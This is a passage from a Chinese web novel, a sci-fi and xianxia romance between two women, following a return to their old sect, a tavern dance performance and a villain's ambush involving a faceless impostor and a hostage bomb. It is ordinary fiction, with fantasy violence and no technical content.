沈逆和边烬来到两人生活过的院落。
沈逆小的时候需要人照顾,边烬就和她一同住在这儿。
屋子里存着沈逆睡过的摇篮,落满了灰。
后院有边烬修葺的冰蓝夜昙花园,园中花早已枯萎。
边烬站在满目凋敝的院子里,久久无语。
沈逆看着她沉默的背影,知道她在想什么。
六年前那次远征,带给她的不只是伤痛、失忆和骂名。
还有双极楼的四分五裂。
沈逆凝视着她安静的背影,心里不禁在想,她会觉得有愧于师尊,有后悔过吗?
边烬往前走一步,站在院子边上,下方就是千山万仞。
长发飞扬,声音却很淡。
“物是人非,双极楼的风依旧这么烈……”
她来之前已经做好了准备,也知道自己足够坚强,可看到满目荒凉,珍贵的旧日作古,依旧遗憾。
自我封闭的性格,最擅长将痛苦封在心里,独自消化,不污染别人。
方才那一句感慨,已经是情感外露的极限了。
而在沈逆眼中,站在悬崖边沿的边烬,仿佛随时都要展袖高飞,飞向没有她的世界。
一如六年前。
边烬沉了沉情绪,正要提些笑容转身,却被身后人紧紧抱住。
沈逆的双臂箍得她发痛,在沉默中轻颤着。
那是外露的占有和恐惧。
“春风不息,万物会再生。”
沈逆在她耳畔轻语。
“你的一切,都会回来的。”
恶意和痛楚从不能让边烬投降,可沈逆温柔至极的一句话,轻易划破了她的心口。
就连风都听从了沈逆的话,凛冽的山风变成温柔的手,将望向同一个远方的两人头发缓缓吹起。
还能回来吗?
一滴泪落到沈逆手背上时,已然变冷。
无声的冷泪坠入沈逆的心湖,激荡起无法消散的涟漪。
这是她第一次见边烬哭。
和沈逆想的一样。
人人都道无情无感的大师姐,其实会心动,会开心,也会难过。
沈逆紧紧拥着边烬,拥到两人都无法呼吸。
……
沈逆天癸水至那个月,边烬搬离了这处院子。
“你长大了,该有独处的空间。”
边烬这么说,沈逆却不认,依旧缠着边烬。
边烬后来住的那个院子,沈逆经常去,单人床时时挤着两个人。
后来也是在那个院子里,沈逆向边烬告白了。
所以那处也是沈逆的心碎之地。
只有她自己知道,六年前的自己是怎么走过漫长寒冷的雪夜,又是在何等难过的情绪中熬过没有边烬的九十春光。
小巧的院子里破旧了不少,有些杂草,但观山品茗的小楼干干净净。
六年前的她想过和边烬或许还会有后续。
可能是边烬回归故里,她们在师门重逢,尴尬地打招呼。
也可能是边烬不再回师门,两人踏上截然不同的人生,多年之后可能会在何处偶遇,又或者此生不复相见。
从未想过会是今日的场景。
小楼帷帐被风卷下,轻纱舞动间,坐在楼中的两位女子拥吻着。
边烬的唇舌已经完全对她开放,任何时候她想如何掠夺便如何掠夺。
沈逆吻得太凶,整个人前倾,边烬一手揽着她的脖子,一手维持着平衡。
身边就是茶案,雕花纹饰尖锐突出,很容易划伤人。
边烬被沈逆吻得热意难当,同时还护着沈逆的肩头,生怕她胡作非为时将自己弄伤。
边烬知道沈逆为什么这般凶,所以格外纵容。
边烬当年的离开,让沈逆陷入了无人可说的恐慌中。
半大的孤女,世间一浮萍,唯一牵引她的光消失了。
在无边的黑暗里慢慢堕落成一滩腐化的毒物,是她最可能的宿命。
但她没有让自己腐烂。
边烬留给她的教养还在,心气儿还在,渴望再见到梦中人的信念还在。
她甚至麻痹自己,告诉自己,不要继续喜欢那个绝情人。
所以重逢最初,维持她活下来的麻木持续着,两人维持了一段时日冷淡的关系。
至于为什么要去北境,沈逆向自己解释:她养我一场,我去为她收尸,此生也算是两清。
没想到,老天不愿她们两清。
在沈逆的所有悲观的设想中,没有想过如今的可能。
即便是扭曲的、伪装的两情相悦,都像一场离奇的梦。
她还是喜欢边烬。
如果真的是一场离奇的梦,那她愿意在这场大梦之中沉沦到底。
长安蝶梦,一瞬白头.
夕阳西斜,侦查鸟将沈逆的工程箱叼来。
为了今日重返师门,沈逆特意改造了机械臂。
机械臂能变成两只运输犬,单独一只能背走小件物什,两只合力能扛走大型家具。
侦查鸟驮着装满零碎的包袱,陆陆续续将将老宅带有记忆的家具全部搬走。
边烬:“这些老家具有些都霉烂了,带回去也无用了吧。”
沈逆:“不啊,修复一下还是能和新的一模一样。”
“还能修复么?”
“你居然怀疑机械师的手艺。”
三师姐来唤她们一同下山,同门就在不远处。
边烬往她们的方向去时,沈逆过来牵她的手。
边烬看沈逆和自己十指相扣。
沈逆胡诌道:“人前秀一秀恩爱,说不定也能提升亲密度。”
边烬垂眸浅笑,也没反对。
两人牵着手来到众同门面前。
同门之中自然有当初嘲讽沈逆倒霉,娶边烬和娶根木头没什么区别,婚后肯定没滋没味的六师兄。
这位六师兄当初在群里口无遮拦,还被沈逆当面怼了回去,按理来说应该是没脸出现在这场聚会上。
不过他这些年越混越差,而旧日同门不少在各大行当风生水起,更有官运亨通者,他觍着脸出现于此,便是想要多找些门路。
见到沈逆和边烬携手而来,亲密无间之态,让六师兄有些不自在。
三师姐就站在他身边,对另一旁的师妹道:“大师姐和小师妹今天一整日形影不离,感情可真好。”
另一边的师妹也道:“是啊,小师妹说口渴,大师姐拿随身携带的水壶给她喝呢。以前可从来没见过这么体贴温和的大师姐。”
三师姐:“看来小师妹这宠爱,是婚后独一份的。”
两人聊着,也没去瞧那六师兄,六师兄自己尴尬干咳一声,灰溜溜走了。
从山上下来,众人前往今日最后一站。
西市鹤径酒肆。
酒肆后门连着僻静的东巷。
酒肆的酒保,以及演出的乐师、舞姬都从这儿进进出出。
今夜在此演出的两位舞姬边聊着天,边去开后门。
酒肆夜里才营业,这会儿时辰还早,里面没什么人。
她俩早些来,便是要习惯一下舞台,练一练走位。
其中一位舞姬用老板给的权限刷完脸,门“嘀”的一声打开。
身后的同伴“咦”了一声,紧张地拉了一下她的胳膊。
“怎么了?”
舞姬回头,见一个颀长的女人身影从小巷走来。
那女人穿着奇怪的紧身服装,长发披散,曲线婀娜。
手中握着一根长长的事物,像鞭子。
年久失修的巷子灯火黯淡,诡异的气氛下,两人看不清来者的脸,却被奇异的恐惧感震慑,忘记了逃跑。
当那女人走近,她们才发现不是看不清脸。
是对方根本就没有脸。
第74章
李司感觉自己才躺下没多久。
迷迷糊糊间,梦到窦璇玑用匕首贴着她的脖子,问她是不是想死。
正是最带劲的时候……
嗡——
嗡嗡嗡——
电子表狂震,把她震醒了。
昨夜她轮值,看了眼时间,才睡了不到一个时辰。
李司骂了句脏话。
“哪个倒霉鬼催命呢?”
摸来电子表一看,是鹤径酒肆老板。
“嗯?”
李司接通后,又难受地闭上眼睛。
老板:“小乔,你还睡着呢?”
小乔,是李司身为舞姬的名字。
她一个吃皇粮的,自然不可能顶着金吾将军的名字出去跳舞,便给自己起了个艺名行走江湖。
李司困得直冒眼泪花。
“我昨晚到刚才整整十二个时辰,根本没捞着睡觉的机会……有什么事快放,困死我了。”
老板听完她的话,丧心病狂道:“来我酒肆救个场不?”
“……不是,你好意思让一个快要猝死的人去你店里救场?不怕我去给你救场,到最后你帮我急救啊?”
老板都快急哭了。
“原本定好的两个舞姬不知道为什么一直没来,联系也联系不到人,今晚可是个大场,几百号人,票都卖完了。我是真没辙了才来打扰你。行行好了乔姐,我给你两倍,不,三倍佣金怎么样?”
听到“三倍佣金”,李司睁开眼。
她现在就是穷,就是很没出息一听到银子就馋。
谁让她积蓄全部花光不说,还得攒成亲的钱呢。
“行吧,你等我,立刻就到。”
李司速速灌了自己一瓶营养液,振作精神,往鹤径酒肆去的路上匆匆忙忙的上妆。
另一头,窦璇玑和房判逛了好几日的街,逛到了西市。
这些年两人忙忙碌碌的,房判有许多想吃想玩的都写在清单里,来不及享受。
这几日窦璇玑拉着她,将罗列在清单里的店家一家家扫荡过去。
反正门主说了,她想什么时候回去都行。那身为她搭档的房判自然也是,想什么时候上值就什么时候上值。
管它什么长安城安危丽景门职责,先吃喝玩乐到爽再说。
两人来到西市,大老远就被前方鹤径酒肆巨大又闪亮的招牌吸引。
不愧是西市最大酒肆,连招牌都比别家大上一倍。
招牌一闪,换上了一副新的宣传画。
画中的女人红纱半遮面,一双上挑美目万分勾人。
招牌上几个大字——“今夜幽会,麦香小乔”。
房判直愣愣地看了大半天,犹犹豫豫地问窦璇玑:“那莫非是……”
窦璇玑眼皮跳了好几下。
“你没看错,的确是那个姓李的。”
麦香小乔是吧,今夜幽会是吧。
窦璇玑:“走,进去看看。”.
双极楼众人到达酒肆时,酒肆内已经很热闹。
无数沙发围绕着中央的舞台,乐师演奏舞姬跳舞,气氛火热。
双极楼聚会所预定的位置在最前排,和舞台几乎没有距离,能毫无遮挡零距离欣赏到表演,甚至能和舞姬互动。
沈逆听同门在那儿激动讨论说小乔要出来了,今晚在这儿能看到小乔的演出真是血赚。
她不知道谁是小乔,也对舞姬没什么兴趣。
边烬问她:“倾洛不是说今日会来?怎么还不见踪影?”
沈逆:“她说本来要一起回双极楼的,半路上遇到点状况,可能要晚点来。大概直接来酒肆了。”
正说着话,一阵热烈的欢呼声吸引了沈逆和边烬的注意力。
原来是名为小乔的舞姬登场了。
沈逆从来没关注过舞姬这一行,自然不晓得此刻登场的这位,还是长安城里的当红舞姬。
小乔穿着性感的舞裙,美颜半遮,身材紧实火辣,看上去便是常年锻炼出来的结实。舞步强劲有力,配上她蜜色的皮肤,别有一番风味,可是让看客们发了疯。
只是……
沈逆瞧这露出的上半脸,怎么觉得有些面熟?
在酒肆跳舞有个规矩,得和坐在最前排的客人互动。不用肢体接触,拿个小道具随便煽动一下气氛就行。
李司手里那把扇子便挑了许多客人的下巴。
这种事的确是很轻浮,不过没办法,她得赚银子。
场面活罢了,忍忍就过去。
就在她挑了五六个下巴,准备和下一位客人“调情”的时候,那位客人冷淡的脸忽然闯入她的视线。
李司心里一咯噔。
干。
沈逆?!
沈逆正直勾勾地盯着她的脸琢磨,半点没调情的意味,一瞬间给李司拉到审案现场一般的严肃。
李司脚下一滑,扇子立即收回,整个人晃了一个大圆圈,非常丝滑地略过沈逆,往另一边去了。
要是换个人,李司都未必玩这种高难度。
实在是这只臭狐狸太狡黠。
她这副模样和平日里当差时相差甚远,窦璇玑都认不出来,可沈逆不一样。
别说遮个脸,就是会七十二变也指不定会被她当场拆穿。
要是让沈逆知道她白天是金吾将军,晚上在酒肆跳舞还欲勾她下巴,可能又会谋划把她抓到哪儿去垫背。
惹不起,还躲不起么。
可她收了银子,舞没跳完不能下台,不然往后口碑砸了,没活儿了。
想躲躲不了,只能全程背对着沈逆这面。
跳着跳着,这边的客人不干了。
“怎么回事,交一样的银子只能看背面?”
“小乔转过来!”
“小乔你怎么不挑我下巴了,你不爱我了么!”
小乔还真有几位狂热爱慕者,只要她出现的地方必然会霸占最前排的位置。
李司哪敢转过去,沈逆正优雅地靠在沙发背上,全程关注着她。
一曲将毕,就在李司觉得自己就要熬出头的时候,忽然在角落里看到熟悉的身影。
耷拉着眼皮不知道看她多久的窦璇玑。
李司:……
今晚这三倍佣金弥补不了她内心的创伤。
后台。
李司火急火燎地将身上一堆零碎饰物出去,漂亮却暴露的小腹用外衫一圈,围起来,打算去追窦璇玑。
没想到窦璇玑根本没走,依旧和房判坐在角落的位置,悠然看着表演。
李司买了两杯酒热情地送过来,悄悄坐到她身边,一杯给她,一杯慷慨地送给房判。
李司搓了搓膝盖,“来啦?”
窦璇玑:“这不是麦香小乔么?幸会。”
“……别臊我了。”李司晃了晃手里的扇子,解释道,“我那是职业要求,和客人逢场作戏罢了,当不得真。”
窦璇玑慢悠悠地喝酒,她自己买的酒。
“哦,逢场作戏,懂了。”
李司:?
懂什么了?这语气怎么听上去阴阳怪气的?
李司用眼神暗暗向房判求助。
可惜房判戴着帷帽,就算收到她的眼神也反馈不了。
李司忽然想起,在中央剧院那晚,她也是用扇子挑了窦璇玑的下巴。
这该死的……
怎么就控制不住这只手?
李司冷汗都下来了,继续解释。
“那我逗你的那次,肯定不是逢场作戏。”
“哦?那是什么?”
“那是情不自禁!”
“没必要和我说这些。”
李司:?
李司:“那你问?”
“不能问是吧。房判,走。”
窦璇玑说走就要走,李司一把拉住她的手。
“怎么就走了,你都还没喝我给你买的酒呢。”
窦璇玑拿起酒杯一饮而尽,面色微红,以手背拭去嘴边酒液的时候,眼角睨李司。
“现在可以走吗?”
李司:“……”
行了,今天也被她用眼神踩了,舒坦了。
今天窦璇玑没穿官服,穿了一身荼白色襦裙,外披薄罩,反绾髻上一只发钗不甚奢华却很适合她,额头花钿更是点睛之笔。
这还是李司第一次见这般轻松自在的窦璇玑。
又美又得劲。
房判在一旁看李司又露出那荡漾失神的笑意,不太能理解。
每回璇玑这样瞪她她都怕的要死,总怕又惹璇玑生气。
这位麦香……不,李司将军却不一样,看上去半点不怕,还喜欢得紧,乐在其中呢。
窦璇玑说走就走,李司委委屈屈地看着她的背影,却见她走了一半又折回来。
窦璇玑:“给我个账号。”
李司立即双眼放光,打开自己飞鸽传信的二维码。
“交流感情么?”
窦璇玑加好友,转银子,一气呵成。
“还钱。今日先还你一百两,之后的慢慢还。连本带利。”
李司:……
窦璇玑走了,房判对李司告了个别,赶紧跟上去。
李司在原地转了十几个圈,脑袋都转晕了。
活了三十年,做什么事都挺顺的李司,忽然在恋爱这件事上栽了个大跟头。
小娘子在想什么,为什么这么不待见她?
先前针锋相对火药味是挺重的,可那不都是以前的事儿了?
李司在人群中偷偷瞧沈逆。
沈逆挨着边烬坐,明明是个双人沙发,她贴着边烬硬是贴出了一个人的空位。
边烬喝的水杯她消毒三遍,吃的水果亲手削皮切块,端茶递水更是不在话下,细致体贴娴熟无比。
李司不明白了,同样是给人当狗,沈逆怎么就做得这么得心应手?连边烬这种大冰山都能被她哄出笑容?
李司眯起双眼。
看来这狐狸有点真本事,得找时间再去向她取取经.
房判跟在窦璇玑身后出了酒肆,走了半条巷子才好奇地问她。
“我看李司将军人挺不错的,你怎么对她这么凶?”
窦璇玑回眸道:“怎么,你喜欢她?”
房判深吸一口气,“我!我,不……谁……”
窦璇玑被她短路般的声音逗笑。
“行了,我开玩笑的。李司她对我不是那回事。她不过同情我罢了。”
“啊?为何这么说?”
“若不是同情,谁会为一个半生不熟的人倾家荡产?”
真是一条可怜狗。
窦璇玑一脚将脚边的石头踢远。
“我不需要谁的同情。”
……
沈逆正给边烬剪葡萄,身边“轰隆”一下,坐下来一个人。
双人沙发活生生变成了三人沙发。
这动静不用回头,沈逆就知道是哪尊大佛来了。
“逆逆!”
果然是第五阙。
“这么巧,第五女郎。”
“不巧,我是特意来找你的。”
不仅第五阙来了,贺兰濯也在。
贺兰濯坐在另外一桌喝酒,没过来。
沈逆知道第五阙大晚上火急火燎跑来,肯定是有重要消息,得当面说。
果然如沈逆所想。
第五阙在沈逆耳边道:“我查到一个劲爆消息,实在憋不住了。黑魔方入侵少府监那晚,被感染的异兽不是仓皇失措往最高研发署跑吗?你怀疑最高研发署里有异兽惦记的东西。那时我查到了第三层的禁区,现在看,恐怕不是禁区那么简单。”
说到激动处,第五阙还卖个关子。
“你猜,那晚谁在最高研发署内?”
沈逆目光往天花板上看。
第五阙:“……和你玩猜谜真没劲,一猜就中。”
沈逆一直在想,异兽被边烬打得慌不择路,有目的地往最高研发署跑,或许是本能在指引它求生之道,它认为最高研发署内有能救它一命的东西。
李渃元,沈逆曾有怀疑过,可又觉得怀疑李渃元很没道理。
黑魔方让整个帝国内忧外患生灵涂炭,百姓人人对其害怕又恨之入骨。李渃元为什么要救异兽?
这是李渃元的天下,玩火自焚有什么好处?
可是,全境追踪器失灵时李极被异兽围攻,加之那夜李渃元身处最高研发署,便让这件事更耐人寻味。
矛盾之处或许并不矛盾,只是谜题尚未解开罢了。
酒肆环境嘈杂,两人猫在一起讨论这研发署禁区还能有什么办法闯进去搜个根问个底。
第五阙道:“你可是眼下唯一的双S级机械师,最顶尖的黑客都黑不进去的话……试试复制一下那个永王的权限?她作为研发署的署长,肯定能在研发署里畅通无阻吧。”
“我已经复制过了,李煽的权限同样被拒绝。”
第五阙“咦”了一声,“永王防备心那么高的人都能被你复制了权限,不愧是我的逆逆。”
说到李煽,沈逆最近在城防现场无意间撞见过她几回。
没必要的时候基本不交流,偶尔需要交接城防相关的材料和人力,两人才会对上话。
李煽完全没有提到权限被复制的事。
难道李煽迄今为止没有察觉么?
迟钝得不像是S级机械师。
其实还有另一种可能,那便是李煽察觉了,但闭口不谈,没来向沈逆兴师问罪。
沈逆比较倾向李煽已经察觉到了,不过禁区到底没有被闯进去,所以这件事也不好放到明面上来问责。
李极和李渃元暂且还在暗中交手,但随时都有可能图穷匕见。
沈逆和边烬会是其中最重要的变数,李煽脑子再简单,也不好在这时候和沈逆撕破脸。
只不过,那次失败后,最高研发署必然会提高警觉,秘密会捂得更严实了。
第五阙道:“这事儿吧,我去问问我家贺姐姐,她脑子好用,肯定能想到绝妙之计。”
说着第五阙往另一侧贺兰濯的方向张望。
贺兰濯独坐饮酒,戴着从未见她摘下的护目镜。
姣美的面容身材加上精致的西服,出现在酒肆里,相当另类瞩目。
才坐了不到一刻钟,就有几拨人争先恐后过来搭讪。
前面两拨贺兰濯没理,人家也都识趣地离开了。
最后来的这二位,直接坐到贺兰濯对面,对她的护目镜非常好奇,一直问她这护目镜是什么新科技吗?能不能看看她的眼睛长什么样,相当没礼貌。
贺兰濯握着酒杯翘着腿,单臂支着脑袋,黑长直搭在肩头,已经有几分微醺。
贺兰濯直接拒绝。
“不能。”
那两人笑嘻嘻地死皮赖脸。
“你这样说,我们就更想看了。这样吧,姐姐你给我们看一眼,这些酒都送你喝怎么样。很划算哦。”
贺兰濯:“想死吗?”
“……什么?”
贺兰濯“咣”的一脚蹬在桌边,桌上所有的酒杯全数倾倒,洒了一桌的酒。
“看过我眼睛的人都死了,你们也想死吗?”
那两人:……
好可怕的女人,还是命要紧,两人灰溜溜地逃了。
沈逆抽了张纸给看傻眼的第五阙。
第五阙半天才回神。
“干嘛?”
“擦擦口水。”
第五阙:……
边烬也在留意贺兰濯那边的动静。
忽然,另一侧的三师姐手里的酒不小心洒到边烬身上。
三师姐“哎呀”一声:“抱歉大师姐,聊得太高兴了。我陪你去净房洗洗。”
边烬洁癖众人皆知,衣服上沾了气味浓郁的酒肯定会很不适,三师姐自告奋勇陪她去。
边烬暗暗看了一眼三师姐,对沈逆说“我去一下净房”,随后便起身。
沈逆说:“我陪你去。”
还没站起来,就被边烬压下。
“你在这儿等一会儿,我就回。”.
酒肆非常大,净房在外面,得横跨一条小巷。
三师姐越走越快,边烬在她身后瞧着她努力遮掩的凌乱脚步。
走到净房门口,三师姐推门就要进去,回头见边烬站在距离她三步之外的地方,没动。
“怎么了大师姐……你不进来吗?”
边烬站在原地抽出了鞭子。
轻轻舞动,却掀起凛冽的气流。
暴雨将至前,边烬的眼眸是平湖般的安静。
“如果被威胁了,现在是你唯一辩白的机会。”
第75章
沈逆等了半天,边烬还没回来,飞了一鸽过去也不见回复。
沈逆打听到净房怎么去,便起身去寻。
第五阙:“正好我尿急,我和你一块儿去。”
跟贺兰濯打了声招呼,第五阙和沈逆两人刚刚走到门口,沈逆脚下一顿。
“师姐?”
沈逆看到边烬从门外一闪而过,叫了一声,没回应。
沈逆又喊了几声追了上去,却见边烬背对着她很快上了屋顶。
“莫非有异兽?”
第五阙第一反应就是边烬在追异兽。
沈逆:“探测器没响。”
第五阙:“不会又被人给切断了吧?”
刚才她俩猫在一起的时候,沈逆跟她说了那夜李极遇险,全境追踪器失灵的事儿。
“没有,十里之外有异兽反应,但这儿没有。”沈逆道,“感觉有点奇怪,去看看,小心点。”
第五阙憋着小解,有点难受,问沈逆:“你确定那个是你师姐吗?”
“废话,她飞根头发丝到眼前,我都知道那是她脑袋顶上第几排的第几根。”
沈逆一眼看透第五阙。
“你要难受赶紧去净房解决一下。”
第五阙:“不行,我还憋得住。我必须得跟着你啊,你一脆弱的机械师到处跑,万一遇到异兽怎么办?”
沈逆在北境当过总都督,黑魔方和无数高等级战斗天赋者死于她手,结果回到长安城,成了“脆弱的机械师”。
师姐也是,第五阙也是,一个个都怕她在外面被异兽擦一下暴毙了。
好好好,你们就宠我吧。
沈逆和第五阙立即跟上边烬.
鹤径酒肆内。
老板今晚赚了个盆满钵满,开开心心地到处找李司。
终于找到李司,乐呵呵地跟她说:“今日多亏了你救场,客人们都开心疯了,还是咱们小乔姐姐厉害呀。干脆你驻场算了,佣金好说。”
李司感觉窦璇玑不是很喜欢自己浪荡的做派,虽然她那是在表演,可架不住孩子保守。
毕竟在丽景门那种地方长大,能理解。
思考未来副业该怎么发展,李司暂时还没想明白,没回老板,四两拨千斤换了个话题。
“说起来,你之前请的那两位舞姬到底怎么回事?人还是没联系上?”
老板重重地“嗐”了一声。
“可不是嘛,定金都收了,人也来了,怎么就不见踪影了?这算什么事!”
李司查案多年,京中再荒谬的案件都经过她手,对危情有种天生敏锐的直觉。
“你说人都来了,结果不见踪影?”
老板:“是啊,她们对我的台子不熟悉,说要提前来排一排,我就给她们后门的权限,她们什么时候来排都行。我看日志,她们的权限的确用过了,就是来开过门了吧,可是人没影子啊。”
李司往后门去,“有丢东西吗?”
“没有啊。”
后门通着小巷子,很僻静,但今晚演出这么多人来来往往,脚印已然看不清了。
但是门上的指纹可以扫描。
李司手背上有自己改造过的扫描仪,和内廷联网,扫描之后能对比户部档案,确定是谁的指纹。
李司在众多指纹中找到了两位舞姬的指纹。
“她们的确来了,但是没丢东西,却失联了……”
李司再次开启双瞳血迹探测器,果然发现门口有少量用肉眼难以辨认的血迹。
沿着血迹往巷子深处走,打开一个渣斗,里面赫然两具尸体。
老板“呕”一声差点吐了,李司立即联系金吾卫。
老板扶着墙喘半天,不能理解。
“这是怎么回事,异兽吗?”
李司:“我可没听说异兽杀了人还会掩尸。”
“那,那是寻仇来的吗?”
“寻仇也不会找公共场合寻仇。血迹在门口,凶手在她们开门的一瞬间杀人,八成是想进你的酒肆。”
“进酒肆……何须这么麻烦,我们开门做生意的,从大门口进去不就好了么?”
李司抬头看了一眼头顶的监控,问老板:“监控是不是坏了?”
“这么说起来是坏了一段时日,已经往上报了,只是还没有派人来修。”
“那我直接给你登记了。看来进你酒肆的人,应该是不想被监控拍到……”
李司还没说完,就感觉远处屋顶上有黑影一闪而过。
李司对老板道:“你在这呆着,一会儿金吾卫来了,就跟他们说追踪我的位置。”
老板:“啊?你的位置……他们,怎么追踪啊?”
李司差点忘了,自己现在不是金吾将军李司,而是舞姬小乔。
一边上房顶,一边直接给整个金吾卫发送警戒信号,并且分享自己位置。
“你回去,疏散客人。”李司对老板说。
老板:……
这小乔何许人也,当真是高人,深藏不露啊.
月色下,边烬安静地在屋顶上跳跃,沈逆又试着喊了她两声,依旧没回头。
沈逆停下脚步,拉了第五阙一把,说:“别追了,是陷阱。”
第五阙:“那不是你师姐?”
沈逆:“我不会认错我师姐,但是……那个未必是我师姐。”
第五阙:“……大晚上,你这话弄得我寒毛都竖起来了。”
初夏的晚风愈发燥热,沈逆婚后的日子过得太安逸,就损人坑人的时候动动脑子,疏于炼体,追了这几步额头有些发汗。
她不追,前面的人却停下了脚步。
沈逆:“原来是引咱们来的。”
“师姐”停下脚步,回眸,月光下平坦的脸上没有任何五官,沈逆浑身的热意一瞬间被冷汗覆盖。
“这是什么玩意!”
第五阙立即拔出贺兰濯刚刚为她购置的双刀。
饶是见多识广的沈逆也被眼前的怪物弄得一怔。
她见过这东西。
当初她派侦查鸟前往弦昼国,被一个奇怪的女人击落。
那女人没有脸,但身形非常熟悉。
如今无脸女就在眼前,沈逆用眼睛丈量,不会错,无论是身高还是体态都和边烬极其相似,甚至手上也拿着鞭子。
更奇异的是,就连她穿的衣服都和边烬一模一样。
第五阙也发现了,“她和你家夫人衣服一个样啊。”
这衣服是沈逆和边烬前几日刚刚一块儿定制的夏衣,当世唯有一件。
全然一样的体态,加上独一无二的衣服,便是让沈逆以为此人是边烬,才会追踪到此地。
现在沈逆确定了,这是个陷阱。
沈逆:“衣服是在暗中观察边烬的穿着后,用特殊材料复制出来的。”
是弦昼国的玩意,无疑是秦无商的手段。
无脸女往她们的方向走过来,忽略脸部的话,当真像边烬朝她们而来。
第五阙问沈逆:“这,打不打?”
沈逆还没回答她,先一棍轰出去。
“模仿我师姐造出的恶心玩意,往死里打。”.
净房门口。
从前总是被大师姐护在身后,从未真正直面敌人的三师姐,此时知道了什么是真正的直面生死。
和眼前一言不发却杀气弥漫的边烬相比,教导门下时的那点严苛完全不值一提,不是同一等级的压迫感。
三师姐后背上一片冷汗涔涔,开口时声音已经哑了。
“我,我没有选择!要是不把你引来,我和女儿都要死!枫儿你见过的,她还那么小那么可爱!大师姐,你这么厉害,一定会逢凶化吉!”
说完三师姐拔腿就跑,边烬也没拦她。
却见她跑了几步忽然停了下来,身子摇摇晃晃,难以置信地捂着心口的位置。
玉璧和心脏在狂震,三师姐惊惧地在空荡荡的夜空中四顾,像是在焦急地寻找着什么。
“你,你骗我……炸弹根本没有取出来……”
三师姐大喊一声:
“你骗我,秦无商——”
边烬就要上前,从她身后飞出两根锁链,一瞬间缠住脖子和腰身。
边烬的动作被锁在原地,猛力挣扎,那锁链竟完好无损,一时间没能挣开。
与此同时,轰然巨响中,三师姐胸口的炸弹引爆,血肉横飞。
方才还会说话会恐惧的人化成一片血雾,尸骨无存。
几滴血溅在边烬的眼下,眼眸里微微波澜,很快,凝成了一片至寒的光。
“不愧是我日思夜想的宝贝,好聪明,怎么就猜到这是个陷阱呢?”
不知何时,秦无商出现在她身后。
还是那身破旧的官服,还是贴着符纸,秦无商坐在一个被人丢弃倾倒的石狮子上,手里抛着个圆形的事物,看上去像某种东西的按钮。
边烬没回答她。
秦无商“啊”了一声,自问自答道:“肯定是因为我把现场处理的太干净了吧。即便是偏僻的小巷子,怎么可能一个人都没有呢?而且你们双极楼这位,一牵扯到女儿就很慌张,好骗又好拿捏,可惜啊,也容易露出马脚。到底是曾经的北境总都督,这点小把戏还是骗不了你。幸好我了解你,嘻……”
秦无商从石狮子上下来,走向边烬。
“所以陷阱根本就不在净房里,就在这巷子内。我骗了她,她就能骗得了你了,我是不是很聪明?和你心爱的小师妹也没什么差别吧?”
边烬:“你在她和她女儿身体里也装了炸弹?”
边烬没接她的话,秦无商不是很开心,撇撇嘴道:
“我到底是S级的机械师,这很难吗?不过,她好歹是双极楼门下,是费了点工夫。”
边烬嗤笑:“费了工夫?费了找精神天赋者一起坑害她的工夫?”
三师姐天赋不算极高,可也是双极楼亲传弟子,秦无商单枪匹马未必能顺利在她和她女儿身体里安装炸弹。
必定是有人协助。
秦无商眼波一利,锁链轰然收紧。
咯吱的声响像巨大的机械力碾压过血肉发出的声音。锁链紧紧勒住边烬的脖子,在她躯体上紧绷到极致。锁链的另一端往四个不同方向延伸,连着看不到的黑暗深处,边烬被锁定在中间。
边烬试图往前走了半步,地面下传来轰隆隆的闷响,秦无商一个晃身险些摔倒,锁链还是没断。
秦无商的眼神中带着难以掩饰的震惊。
边烬垂眸观察着锁链,锁链的材质是她未见过的某种合金,硬度超出想象。
再抬起眼时,看向秦无商手里的按钮。
秦无商“噢”地惊叹了一声。
“宝贝真厉害,这条为你量身打造的锁链可是能轻易绞死S级战斗天赋者呢。刚才那一下是想绞断你全身的骨头,你居然还能面不改色。”
秦无商话里的某个信息让边烬感兴趣。
量身打造,那必然要评估她的力量。
为什么秦无商能知道她的力量上限?
秦无商笑道:“不过,不用白费气力了,你是挣脱不了它的。”
边烬:“是么,那你为什么握着那个按钮不撒手?不正是害怕评估有误差,为我‘量身打造’的锁链困不住我,所以才用另一个人质的性命当做威胁吗?”
秦无商那双被符纸遮挡一半的眼睛怔了一下,随后兴奋得浑身发热。
“我就说为什么我这么喜欢你,我的魔种也这么想念你,宝贝,你真的太不可思议了。我计算过,锁链能困住你的概率为九成九,这连着小娘子心脏炸弹的按钮么,就是为了以防万一。”
“万一我现在挣脱开了,你一直保持的这点距离可不够你逃命。”
秦无商一直没有真正靠近边烬,连这点都被边烬注意到了。
秦无商:“别这样一直拆穿我,不礼貌。宝贝,我不是来宣战的,与此相反,是想让你知道一些真相。你在这个国度注定不会获得认同。至于你那个小师妹,利用一番就算了,怎么能动真感情呢?”
秦无商将抓地锁链的四角收起,锁链一瞬变得赤红,以极快的速度旋转,最后猛然笞在边烬身上,头尾相连,锁得更紧。
边烬身子微微摇晃,不久前刚刚恢复的痛觉在告诉她,这条锁链的确是冲着她力量上限制作的。
脖子被勒到呼吸困难,手背和肋骨好像也有些断裂。
见边烬的确没挣脱,秦无商捏着按钮也没放手。
巷子深处传来脚步声。
听这动静,像是上百人一起往这儿走来。
秦无商:“有些旧友想见你。”
人潮从巷子里涌出来,一张张或憔悴或苍老的面容,全都是边烬见过的。
人群将她包围,所有人都用极度憎恶的眼神瞪着她,仿佛下一刻就要上来将她千刀万剐。
秦无商慢悠悠地走到人群前。
“眼熟吧?他们是追随你却折亡的百万大军孤孀。哦,不对……准确来说不是折亡,而是被你杀死的。”
边烬一直在等,她想知道秦无商疯疯癫癫死咬着她不放,目的究竟是什么。
想过了无数种可能,此刻听到的话,超出了预料。
秦无商终于在边烬那双冷得让人发颤的眼睛里,寻到了另外一种情绪——疑惑。
原来边烬在疑惑的时候,眼睛是这样的……
是另一种美,让人疼惜,更让人想要狠狠打碎。
秦无商短暂地失神时,有个耄耋老者上前,手里的拐杖用力敲向边烬的脑袋,随即破口大骂。
“我那孩儿——如此的信任你!抛家弃子追随你去打仗!你怎么忍心杀了他——!怎么忍心——”
老者怒吼,浑身发颤。
而下一刻和边烬对视时,还未冲出口的辱骂,忽然止在唇边。随后,在胆寒中哆哆嗦嗦吞了回去。
边烬面无表情地移开目光,转向秦无商。
“证据。”
这是边烬最在意的事。
那三年发生了什么,百万大军如何陨灭,为什么会被按上叛国罪。
她要知道真相,给自己一个交代,给无条件信任自己的沈逆一个交代。
“别急,当然有。”
秦无商投放了一段记忆模块里的片段。
